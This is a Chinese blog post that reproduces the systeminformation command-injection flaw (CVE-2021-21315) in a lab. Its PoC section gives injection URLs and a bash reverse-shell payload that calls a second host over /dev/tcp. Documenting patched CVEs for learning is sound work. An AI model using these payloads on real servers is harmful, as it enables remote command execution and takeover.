概述

Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315)攻击者可以通过「systeminformation」中代码注入漏洞的存在意味着攻击者可以通过在组件使用的未初始化参数内小心翼翼地注入有效载荷来执行系统命令。

影响范围

目前该漏洞已经在 5.3.1 版本中修复,受影响的systeminformation版本:

  • Systeminformation < 5.3.1

漏洞检测

查看 systeminfomation 版本
在 node_mudules 同级目录下找到 package-loca.json 文件并打开
在里面搜索systeminfomation,可以查看到相应的版本

漏洞复现

源码下载

[root@master-all ~]# git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

nodejs(linux)安装

[root@master-all ~]# tar -xf node-v12.18.4-linux-x64.tar.xz
[root@master-all ~]# mv node-v12.18.4-linux-x64 nodejs
[root@master-all ~]# mv nodejs/ /usr/local/sbin/
[root@master-all ~]# ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
[root@master-all ~]# ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/

查看版本并启动服务

[root@master-all ~]# cd CVE-2021-21315-PoC/
[root@master-all CVE-2021-21315-PoC]# node --version
v12.18.4
[root@master-all CVE-2021-21315-PoC]# node index.js 
Hello world

POC

http://192.168.230.202:8000/api/getServices?name=$(echo -e 'ymcc' > test.txt)
http://192.168.230.202:8000/api/getServices?name[]=$(echo -e 'ymcc' > test.txt)



反弹shell

http://192.168.230.202:8000/api/getServices?name[]=$(bash -i >& /dev/tcp/192.168.230.201/1325 0>&1)
END

本文标题:Node.js命令sanitize注入漏洞复现(CVE-2021-21315)

本文作者:宇宙最帅的男人

本文链接:https://lolicp.com/others/202115110.html

版权声明:转载或者引用本文内容请注明来源及原作者,本文著作权归作者 (宇宙最帅的男人) 所有。

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

最后修改:2023 年 03 月 25 日
如果觉得我的文章对你有用,请随意赞赏